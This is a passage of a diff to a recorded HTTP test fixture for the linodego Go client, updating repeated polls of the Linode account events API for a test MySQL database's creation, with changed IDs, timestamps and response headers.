1, "pages": 1, "results": 1}' headers: @@ -8000,16 +8436,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:02:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8025,7 +8464,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8042,14 +8481,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8064,16 +8503,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:02:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8089,7 +8531,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8106,14 +8548,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8128,16 +8570,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:03:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8153,7 +8598,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8170,14 +8615,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8192,16 +8637,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:03:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8217,7 +8665,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8234,14 +8682,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8256,16 +8704,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:03:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8281,7 +8732,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8298,14 +8749,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8320,16 +8771,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:03:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8345,7 +8799,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8362,14 +8816,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8384,16 +8838,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:04:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8409,7 +8866,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8426,14 +8883,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8448,16 +8905,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:04:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8473,7 +8933,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8490,14 +8950,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8512,16 +8972,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8537,7 +9000,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8554,14 +9017,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8576,16 +9039,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:04:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8601,7 +9067,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8618,14 +9084,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8640,16 +9106,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:05:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8665,7 +9134,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8682,14 +9151,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8704,16 +9173,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:05:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8729,7 +9201,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8746,14 +9218,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8768,16 +9240,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:05:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8793,7 +9268,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8810,14 +9285,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8832,16 +9307,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:05:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8857,7 +9335,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8874,14 +9352,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8896,16 +9374,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:06:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8921,7 +9402,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8938,14 +9419,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -8960,16 +9441,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:06:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8985,7 +9469,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9002,14 +9486,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -9024,16 +9508,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:06:44 